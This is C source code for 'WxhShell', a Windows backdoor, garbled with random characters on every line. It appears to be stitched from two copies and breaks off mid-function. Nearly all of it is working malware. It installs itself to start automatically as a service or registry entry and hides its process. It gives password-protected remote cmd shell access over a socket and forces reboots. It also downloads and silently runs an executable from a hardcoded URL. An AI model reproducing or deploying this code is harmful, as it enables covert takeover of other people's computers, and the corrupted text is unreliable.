    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ;h"St0   
    if(Boot(SHUTDOWN)) B=<Z@u  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Z[Z3x6 6  
    else { q,Nhfo(  
    closesocket(wsh);  /N8>>g  
    ExitThread(0); .#OD=wkN0  
    } gs:V4$(p4  
    break; 4Ou5Vp&y  
    } QjIn0MJ)Xm  
  // 获取shell @CB&*VoB  
  case 's': { S|K#lL  
    CmdShell(wsh); 2{Johqf  
    closesocket(wsh); *x<3=9V  
    ExitThread(0); ?cB:1?\j  
    break; <i$ud&D  
  }  ob_*fP  
  // 退出 1;E^3j$  
  case 'x': { .7K<9K+P  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); L ,/(^0;  
    CloseIt(wsh); [6u8EP0xM  
    break; 'JpCS  
    } E9bc pup  
  // 离开 v<AFcY   
  case 'q': { AE@N:a  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); CG0jZB#u  
    closesocket(wsh); r7zS4;b  
    WSACleanup(); \UEO$~Km  
    exit(1); \i.Yhl:O  
    break; tb1w 6jaU  
        } V4CL% i  
  } JVe!(L4H  
  } bd;?oYV~  
FhFP M)[  
  // 提示信息 DkA@KS1Dq  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ,7/F?!G!J  
} s#* DY  
  } %+bw2;a6  
ytyX:e"  
  return; F8pP(Wl  
} .l:x!  
45(n!"u65  
// shell模块句柄 +?%L X4Y  
int CmdShell(SOCKET sock) [h0.k"&[  
{ YVW`|'7)|  
STARTUPINFO si; y?-zQs0  
ZeroMemory(&si,sizeof(si)); .QLjaEja  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; AM:lU  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; *=)kR7,]9d  
PROCESS_INFORMATION ProcessInfo; >g+e`!;6  
char cmdline[]="cmd"; 2 )F~  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); w7e+~8|  
  return 0; A>Y#-e;<d  
} #\T5r*W  
T\OpPSYbl  
// 自身启动模式 p 02E:?  
int StartFromService(void) @x[Arx^?}  
{ :$f9(f&  
typedef struct nsjrzO79L8  
{ 2_C&p6VGj  
  DWORD ExitStatus; n:P++^ j  
  DWORD PebBaseAddress; Ap)pOD7  
  DWORD AffinityMask; =}1m.  
  DWORD BasePriority; OaF[t*]D3  
  ULONG UniqueProcessId; %4I13|<A`  
  ULONG InheritedFromUniqueProcessId; u}(K3H3  
}   PROCESS_BASIC_INFORMATION; !g2 ~|G  
LQ{z}Ay  
PROCNTQSIP NtQueryInformationProcess; qgkC)  
g+pj1ycw/  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ,b'QL6>`  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; )2&y;{]  
6483v'  
  HANDLE             hProcess; @3Nvf}He  
  PROCESS_BASIC_INFORMATION pbi; )Rj,PF-9Z[  
8h$f6JE  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 7blo<|9  
  if(NULL == hInst ) return 0; 4iC=+YUn  
E%e2$KfD  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); =LyR CrA  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); I%'6IpR"d  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); \eoJ6IRE\T  
bKac?y~S_  
  if (!NtQueryInformationProcess) return 0; *U:0c ;h  
!wr2OxK*  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); \ ~uY);  
  if(!hProcess) return 0; \agT#tT J  
h/xV;oj  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Kn`-5{1B|  
586lN22xM  
  CloseHandle(hProcess); <E1ngG  
z$b'y;k  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); )Q)H!yin  
if(hProcess==NULL) return 0; b Sm*/Q  
Cp!Qd e  
HMODULE hMod; 4&}dA^F  
char procName[255]; ZB'ms[  
unsigned long cbNeeded; S*Hv2sl  
KlSg0s  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); )2g-{cYv  
Sc,a jT  
  CloseHandle(hProcess); 3c[< #] 8S  
-,pw[R  
if(strstr(procName,"services")) return 1; // 以服务启动 ! +{$dB>a  
hNUkaP  
  return 0; // 注册表启动 f@aFs]xV  
} h$_5)d~  
6$ x9@x8  
// 主模块 aC,?FWm  
int StartWxhshell(LPSTR lpCmdLine) cM;,nX%/  
{ CMviR<.  
  SOCKET wsl; h%+6 y  
BOOL val=TRUE; O]-s(8Oo3  
  int port=0; x!;;;iS  
  struct sockaddr_in door; `#y?:s ]e  
Ojs ^-R_  
  if(wscfg.ws_autoins) Install(); >A*BRX"4C  
?a{es!  
port=atoi(lpCmdLine); 9 6j*F,{  
!UF (R^  
if(port<=0) port=wscfg.ws_port; mb#&yK(h  
x>eV$UJ  
  WSADATA data; bTJ l  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 3.@ I\p}  
:Lh`Q"a  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ' "I-! +  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); nf )y_5y  
  door.sin_family = AF_INET; p$!Q?&AV/  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); P>[,,w  
  door.sin_port = htons(port); c^ W \0  
HWOOw&^<  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { x/,(G~  
closesocket(wsl); Qm5Sf=E7Q  
return 1; zTb,h  
} /A"UV\H`f  
bd[%=5  
  if(listen(wsl,2) == INVALID_SOCKET) { uj^l&"  
closesocket(wsl); df@G+v0_1  
return 1; L/7YI\C2  
} zOsk'ZE&  
  Wxhshell(wsl); _6Qb 3tl  
  WSACleanup(); qJ%AbdOI8  
?r/)s()ALf  
return 0; U%H6jVE  
<)9dTOdd  
} tEjT$`6hp  
p?e-`xs  
// 以NT服务方式启动 C)qy=lx%  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) HqoCl  
{ =, G^GMi'  
DWORD   status = 0; L1u(\zw  
  DWORD   specificError = 0xfffffff; vq-# %o  
CCp&+LRvR  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ql2O%B.6?  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; *Fu;sR2y%:  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; wgFAPZr  
  serviceStatus.dwWin32ExitCode     = 0; 29kR7[k  
  serviceStatus.dwServiceSpecificExitCode = 0; w3Z;&sFd  
  serviceStatus.dwCheckPoint       = 0; %mr6p}E|  
  serviceStatus.dwWaitHint       = 0; 84jA)  
(hn;C>B  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); PCZ%<>v  
  if (hServiceStatusHandle==0) return; i;I!Jc_b'  
hjx= ?  
status = GetLastError(); T)tf!v3v  
  if (status!=NO_ERROR) K</="3 HK  
{ b|E1>TkY  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; *7UDTgY  
    serviceStatus.dwCheckPoint       = 0; ;'P<#hM[$  
    serviceStatus.dwWaitHint       = 0; a`_w9r+v  
    serviceStatus.dwWin32ExitCode     = status; d8% sGH  
    serviceStatus.dwServiceSpecificExitCode = specificError; o7 1f<&1  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); M TOZ:b  
    return; *wu|(t_ A  
  } C[s='v~}  
U8GvUysB!  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; !7y:|k,ac  
  serviceStatus.dwCheckPoint       = 0; k\A[p\  
  serviceStatus.dwWaitHint       = 0; M$MFUGS'  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); &hSF  
} [&K"OQ^\2h  
N= {0A  
// 处理NT服务事件,比如:启动、停止 kJK:1;CM?.  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ZDTp/5=?K/  
{ ]B=2r^fn  
switch(fdwControl) `~+[pY 1r  
{ ]5sU =\  
case SERVICE_CONTROL_STOP: ]o2 Z 14  
  serviceStatus.dwWin32ExitCode = 0; ? H7?>ZE  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; sQgJ`+Y8_  
  serviceStatus.dwCheckPoint   = 0; LypBS]r u  
  serviceStatus.dwWaitHint     = 0; 6'6,ySo]  
  { t# <(Q  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); .qg 2zE$0  
  } -cs$E2 -  
  return; D,&o=EU  
case SERVICE_CONTROL_PAUSE: Zg/ ],/`  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; {<L|Z=&k`  
  break; '/ *;g#W=  
case SERVICE_CONTROL_CONTINUE: N5|wBm>m  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; \>p\~[cxt  
  break; |[/'W7TV%?  
case SERVICE_CONTROL_INTERROGATE: r9!,cs  
  break; <) VNEy'  
}; GRj#1OqL  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); IXof- I%8  
} @lTd,V5f  
j V~+=(w)  
// 标准应用程序主函数 bm#/ KT_8  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) `&5_~4T7  
{ <-O^ol,fX  
eg(1kDMpn  
// 获取操作系统版本 <jIuVX  
OsIsNt=GetOsVer(); >o|.0aw<  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 3R6=C~  
I|R;)[;X  
  // 从命令行安装 VGeyZ\vU  
  if(strpbrk(lpCmdLine,"iI")) Install(); 0W!S.]^1  
$i"IOp  
  // 下载执行文件 !G~`5?CvE  
if(wscfg.ws_downexe) { #kRt\Fzq  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 7O\Qxc\  
  WinExec(wscfg.ws_filenam,SW_HIDE); CjZIBMGc  
} F@rx/3 [  
j+NsNIJq  
if(!OsIsNt) { [VY265)g  
// 如果时win9x,隐藏进程并且设置为注册表启动 &"mWi-Mpl  
HideProc(); -AZ\u\xCB  
StartWxhshell(lpCmdLine); `*w!S8}m;  
} *r].EBJ\  
else :?f^D,w_B  
  if(StartFromService()) )2: ,E  
  // 以服务方式启动 4v;KtD;M  
  StartServiceCtrlDispatcher(DispatchTable); 2"8qtG`Et  
else ` 3h,Cy^  
  // 普通方式启动 Zx U?d   
  StartWxhshell(lpCmdLine); jWcfQ  
Z^6qxZJ7  
return 0; 33OkY C%e  
} ]3I@5}5%  
m)e~HP7M  
rB}2F*eT  
^C70b)68  
=========================================== mae@L  
\.Z /  
&*9 ' 0  
AGK{t+`  
Z:.*fs5  
Bnh*;J0  
" RKD$'UWX  
mt}3/d  
#include <stdio.h> <Xb$YB-c  
#include <string.h> cd]def[d  
#include <windows.h> 9a0|iy  
#include <winsock2.h> UaXWHCm`  
#include <winsvc.h> rL|9Xru  
#include <urlmon.h> !;M5.Y1j&"  
SshjUNx  
#pragma comment (lib, "Ws2_32.lib") ~vB dq Yj  
#pragma comment (lib, "urlmon.lib") v{oHC4  
PXo^SHJ+gt  
#define MAX_USER   100 // 最大客户端连接数 uL |O<  
#define BUF_SOCK   200 // sock buffer 8om)A0S  
#define KEY_BUFF   255 // 输入 buffer |DLmMsS4  
Oz-@e%8L  
#define REBOOT     0   // 重启 j71RlS73  
#define SHUTDOWN   1   // 关机 gIY]hC.  
8DcIM(;Z  
#define DEF_PORT   5000 // 监听端口 3.w &e0Es  
67]!xy  
#define REG_LEN     16   // 注册表键长度 a}V<CBi  
#define SVC_LEN     80   // NT服务名长度 x/uC)xm  
O]80";Uv  
// 从dll定义API ,nSapmg  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); yt#~n _  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); tG*HUN?*  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); bj7r"_  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 1R"Z+tNB  
g96]>]A<{  
// wxhshell配置信息 F&$~]R=&  
struct WSCFG { /TY=ig1z  
  int ws_port;         // 监听端口 x bD]EC  
  char ws_passstr[REG_LEN]; // 口令 g]jCR*]  
  int ws_autoins;       // 安装标记, 1=yes 0=no hGb SN_F  
  char ws_regname[REG_LEN]; // 注册表键名 G!E1N(%o  
  char ws_svcname[REG_LEN]; // 服务名 ,$bK)|pGV  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 q" @%WK  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 SY$%)(c8kL  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 %OJq(}  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Huf;A1.  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ^c?$$Tq  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 DsH#?h<-o  
CtE <9?  
};  J7p?9  
Vw+RRi(  
// default Wxhshell configuration +k\cmDcb  
struct WSCFG wscfg={DEF_PORT, }TRVCF1  
    "xuhuanlingzhe", ][B>`gC-  
    1, s_cur-  
    "Wxhshell", KEo?Cy?%ff  
    "Wxhshell", <uvA([r=Vq  
            "WxhShell Service", bFsJqA.A  
    "Wrsky Windows CmdShell Service", }xpo@(e  
    "Please Input Your Password: ", Ti$_V_  
  1, XvIY=~  
  "http://www.wrsky.com/wxhshell.exe", <`d;>r=4z  
  "Wxhshell.exe" ?JMy  
    }; %a|m[6+O  
i Ie{L-Na  
// 消息定义模块 "z4V@gk   
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 'wVi>{?  
char *msg_ws_prompt="\n\r? for help\n\r#>"; t)hi j&wzu  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 8K2=WYN  
char *msg_ws_ext="\n\rExit."; Le*gdoW.  
char *msg_ws_end="\n\rQuit."; LTcZdQd$  
char *msg_ws_boot="\n\rReboot..."; Vr hd\  
char *msg_ws_poff="\n\rShutdown..."; |nmt /[  
char *msg_ws_down="\n\rSave to "; ;TulRx]EA  
0N):8`dY  
char *msg_ws_err="\n\rErr!"; s3y"y_u  
char *msg_ws_ok="\n\rOK!"; (w-@b70E  
[ps 5  
char ExeFile[MAX_PATH]; PG@6*E  
int nUser = 0; 5G l:jRu  
HANDLE handles[MAX_USER]; V;u FYt; E  
int OsIsNt; k:#u%Z   
.~fov8  
SERVICE_STATUS       serviceStatus; t4<+]]   
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ,tak{["  
y\ax?(z  
// 函数声明 nx@,oC4  
int Install(void); Y'76!Y  
int Uninstall(void); `_!R;f  
int DownloadFile(char *sURL, SOCKET wsh); `NCH^)  
int Boot(int flag); -ju}I  
void HideProc(void); U3BhoD#f\  
int GetOsVer(void); @.} @K  
int Wxhshell(SOCKET wsl); m.Ki4NUm  
void TalkWithClient(void *cs); lQ#='Jqfp  
int CmdShell(SOCKET sock); !7Nz_d~n  
int StartFromService(void); c{[lT2yxU  
int StartWxhshell(LPSTR lpCmdLine); Zu|qN*N4  
6rMNp"!  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); o8fY!C)  
VOID WINAPI NTServiceHandler( DWORD fdwControl );  }A&I@2d  
%PC8}++  
// 数据结构和表定义 nIGElt]  
SERVICE_TABLE_ENTRY DispatchTable[] = G{gc]7\=Cd  
{ _FkIg>s  
{wscfg.ws_svcname, NTServiceMain}, P.- `[  
{NULL, NULL} (: @7IWZf@  
}; ftD(ed  
a;=IOQ  
// 自我安装  bU$M)  
int Install(void) gjn1ha"h%.  
{ ^J)0i_RS  
  char svExeFile[MAX_PATH]; aole`PD,l  
  HKEY key; m^>v~Q~~  
  strcpy(svExeFile,ExeFile); Pxf/*z  
iJS7g  
// 如果是win9x系统,修改注册表设为自启动 ^xQPj6P}  
if(!OsIsNt) { 3<_=Vyf  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ^u> fW[ "[  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); qK]Om6 a~  
  RegCloseKey(key); W~/{ct$Y  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { rDv`E^\  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); =b#:j:r  
  RegCloseKey(key); 8/R9YiY5*  
  return 0; `o?PLE;)p  
    } s&1}^'|  
  } v\D.j4%ij  
} N 5.kDT  
else { BH0s ` K"  
}!N/?A5  
// 如果是NT以上系统,安装为系统服务 p{AX"|QM"  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); e'r-o~1eN  
if (schSCManager!=0) !vq|*8  
{ '<xV]k|v  
  SC_HANDLE schService = CreateService %H4>k#b@$  
  ( R p0^Gwa  
  schSCManager, C(kL=WD   
  wscfg.ws_svcname, S=G2%u!;  
  wscfg.ws_svcdisp, 1v 4M*  
  SERVICE_ALL_ACCESS, f /t`B^}@  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , )j. .)o  
  SERVICE_AUTO_START, \|CuTb;0  
  SERVICE_ERROR_NORMAL, h)Ol1[y`  
  svExeFile, zBc |gx  
  NULL, !o\e/HGc!  
  NULL, !,R=6b$E5  
  NULL, RLfB]\w  
  NULL, >fzFNcO*  
  NULL MqRJ:x  
  ); D B(!*6#?  
  if (schService!=0) v^B2etiX_  
  { p3 V?n[/}  
  CloseServiceHandle(schService); 1 0^FfwRfM  
  CloseServiceHandle(schSCManager); a#a n+JY3  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 5,?^SK|'x  
  strcat(svExeFile,wscfg.ws_svcname); B`:l;<&jX  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { f o idneus  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); TQth"Cv2:  
  RegCloseKey(key); f$qkb$?]}  
  return 0; }6gum  
    } I.it4~]H  
  } %Z*N /nU  
  CloseServiceHandle(schSCManager); w<Bw2c  
} OR}+) n{  
} bu{dT8g'U  
tac\Ki?  
return 1; 6G{ Q@  
} $e:bDZ(hjj  
#I\" 'n5M  
// 自我卸载 V3ExS1fNf  
int Uninstall(void) <==6fc>s  
{ gBOF#"-  
  HKEY key; Hyi'z1  
odn3*{c{x  
if(!OsIsNt) { 'V\V=yc1  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { R{pF IyR  
  RegDeleteValue(key,wscfg.ws_regname); 4hzdc ] a  
  RegCloseKey(key); @@cc /S  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { @hy~H?XN  
  RegDeleteValue(key,wscfg.ws_regname); nd&i9l  
  RegCloseKey(key); t9)S^: 0  
  return 0; AcHeZb8b  
  } vU$n*M1`$  
} A9MTAm{  
} :*s@L2D6  
else { @2;cv?i)  
ij1YV2v  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ]n3!%0]\  
if (schSCManager!=0) 28vQ  
{ k U0.:Gcc  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 45&Rl,2  
  if (schService!=0) {C0Y8:"`  
  { [&kz4_  
  if(DeleteService(schService)!=0) { d4p6.3  
  CloseServiceHandle(schService); v-wZHkdd1  
  CloseServiceHandle(schSCManager); GJ F &id  
  return 0; MjWxfW/  
  } J|vg<[  
  CloseServiceHandle(schService); =.w~qL  
  } $hMD6<e  
  CloseServiceHandle(schSCManager); Cj$:TWYIh[  
} dsH*9t:z  
} TFAR>8Nm  
VfozqUf  
return 1; '8[; m_S  
} Tgh?=]H  
-hc8IS  
// 从指定url下载文件 v0?SN>fZ  
int DownloadFile(char *sURL, SOCKET wsh) vmh>|N4a7  
{ 3gnO)"$  
  HRESULT hr; RC?vU  
char seps[]= "/"; nLx|$=W  
char *token; 6OoOkNWF  
char *file; 6b9J3~d\E  
char myURL[MAX_PATH]; a$Hq<~46  
char myFILE[MAX_PATH]; ~+ 9v z  
* eX/Z Cn  
strcpy(myURL,sURL); M&)\PbMc  
  token=strtok(myURL,seps); _EJPI  
  while(token!=NULL) 3_`)QYU'  
  { \0vs93>?  
    file=token; jAU&h@  
  token=strtok(NULL,seps); hRMya#%-  
  } Cy)N hgz  
i<):%[Q)>  
GetCurrentDirectory(MAX_PATH,myFILE); "YW Z&_n**  
strcat(myFILE, "\\"); AyPtbrO  
strcat(myFILE, file); @DF7j|]tV  
  send(wsh,myFILE,strlen(myFILE),0); vn!3Z!dm(  
send(wsh,"...",3,0); jw`05rw:  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); sG)aw`_j  
  if(hr==S_OK) jOzi89  
return 0; ^bP`Iv  
else y#th&YC_b  
return 1; BC\W`K  
"eqzn KT%u  
} 'GT^araz  
'#=0q  
// 系统电源模块 %V+"i_{m  
int Boot(int flag) :HwdXhA6  
{ EB*C;ms  
  HANDLE hToken; &AWrM{e  
  TOKEN_PRIVILEGES tkp; *")*w> R  
A=IpP}7J  
  if(OsIsNt) { esj6=Gh  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 2pU'&8  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); DR,7rT{$  
    tkp.PrivilegeCount = 1; '#h ORQB  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 5-y*]:g(  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ,II3b( l  
if(flag==REBOOT) { LrT EF j  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) \P")Eh =d  
  return 0; V)l:fUm2  
} `*BV@  
else { 6q>}M  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) SOn)'!g  
  return 0; Ie|5,qw E  
} d4*SfzB  
  } L#uU. U=  
  else { u&^KrOM@#  
if(flag==REBOOT) { '&dT   
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) "j8)l4}  
  return 0; ,B_c  
} N-_APWA  
else { K&Bbjb_|  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Em^~OM3U$q  
  return 0; M=lU`Sm  
} .a7RGT3]m  
} C=]<R< Xy  
MkL2I+*  
return 1; _> x}MW+  
} 0y+^{@lU  
\"))P1  
// win9x进程隐藏模块 `GdH ,:S>  
void HideProc(void) {Dk!<w I)  
{ s\pukpf@  
p6K~b  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ?|+e*{4k  
  if ( hKernel != NULL ) 2[HPU M2>  
  { yCav;ZS_  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); T^(W _S  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); J"LLj*,0"  
    FreeLibrary(hKernel); Sk/@w[  
  } ) $b F*  
BV:Ca34&  
return; af %w|M  
} AU}kIm_+  
VsAJ2g9L  
// 获取操作系统版本 d&raHF*  
int GetOsVer(void) 5RFro^S9E  
{ o{`x:  
  OSVERSIONINFO winfo; 1*2ycfa  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); CuvY^["  
  GetVersionEx(&winfo); !'p<Kh[i  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) @uCi0Pt  
  return 1; jH!;}q  
  else KFwuz()7  
  return 0; yxHo0U  
} ,?erAI  
-grmmE]/  
// 客户端句柄模块 #dL,d6a  
int Wxhshell(SOCKET wsl) rKUtTj  
{ 'jfE?ngt  
  SOCKET wsh; d"06 gp  
  struct sockaddr_in client; \<*F#3U1  
  DWORD myID; (${ #l  
&K[sb%  
  while(nUser<MAX_USER) *$BUow/>  
{ [n)ak)_/  
  int nSize=sizeof(client); cx$h"  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); *X/Vt$P  
  if(wsh==INVALID_SOCKET) return 1; C@eL9R;N1  
R6od{#5H$  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); N%}J:w  
if(handles[nUser]==0) xb3G,F  
  closesocket(wsh); wbAwmOiZ  
else Gd_0FF.  
  nUser++; ,v K%e>e&  
  } {VW\EOPV~  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); L6PgWc;m  
m~AAO{\:b  
  return 0; V [g^R*b  
} j8p<HE51  
k>mXh{ (  
// 关闭 socket (ct1i>g  
void CloseIt(SOCKET wsh) os"R'GYmf  
{ Qe>_\-f  
closesocket(wsh); VsL,t\67  
nUser--; G\dPGPPM  
ExitThread(0); i/+^C($'f  
} BInSS*L  
Lv['/!DJ|  
// 客户端请求句柄 dN3^PK  
void TalkWithClient(void *cs) RU7+$Z0K  
{ q"<=^vi  
t3Gy *B  
  SOCKET wsh=(SOCKET)cs; Os-Z_zSl6  
  char pwd[SVC_LEN]; JX&]>#6|E  
  char cmd[KEY_BUFF]; m;l[flQ~  
char chr[1]; @9| jY1  
int i,j; npltsK):  
4 H0rS'5d  
  while (nUser < MAX_USER) { +_J@8k  
F_'{:v1GW  
if(wscfg.ws_passstr) { UX63BA  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); @3KSoA"^  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); )VkVZf | S  
  //ZeroMemory(pwd,KEY_BUFF); 6Q7=6  
      i=0; nt$P A(Y  
  while(i<SVC_LEN) { En9J7es_  
X-(( [A  
  // 设置超时 81x/ bx@L%  
  fd_set FdRead; >^Wpc  
  struct timeval TimeOut; >W] Wc4 \  
  FD_ZERO(&FdRead); d9:I.SA)E  
  FD_SET(wsh,&FdRead); dY&v(~&;]  
  TimeOut.tv_sec=8; #~nXAs]Q  
  TimeOut.tv_usec=0; y/Y}C.IWp)  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); \Hrcf+`  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); yZ,pH1  
_ikKOU^8  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); O U7OX]h  
  pwd=chr[0]; x)dLY.'|  
  if(chr[0]==0xd || chr[0]==0xa) { ]sb?lAxh{  
  pwd=0; Nm z5:Rq  
  break; HJN GO[*g  
  } 1?H; c5?d&  
  i++; NzyEsZ]$  
    } "=s}xAM|A  
|Jd8ul:&e  
  // 如果是非法用户,关闭 socket ^g6v#]&WA  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); aSIb0`(3  
} `oikSx$vB.  
}|| p#R@?  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 1/?Wa  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); |OF3O,5z  
#oTVfY#  
while(1) { g]L8Jli  
S;#:~?dU  
  ZeroMemory(cmd,KEY_BUFF); I\6C0x  
%/w-.?bX  
      // 自动支持客户端 telnet标准   w:%NEa,Z  
  j=0; WuY#Kx~2  
  while(j<KEY_BUFF) { O713'i  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ,jC~U s<  
  cmd[j]=chr[0]; )u Hat#  
  if(chr[0]==0xa || chr[0]==0xd) { #Y7iJPO  
  cmd[j]=0; ];Noe9o  
  break; faRQj:R8  
  } @-S7)h>~  
  j++; :2c(.-[`  
    } 6/L[`n"G  
_VdJFjY?zc  
  // 下载文件 Z72%Bv  
  if(strstr(cmd,"http://")) { n$SL"iezW?  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); bS8$[7OhX  
  if(DownloadFile(cmd,wsh)) 7=fN vES2  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); xI?'Nh  
  else 9?ll(5E  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); A]0R?N9wb_  
  } {ObY1Y`ea  
  else { >x6\A7  
t=Rl`1 =(K  
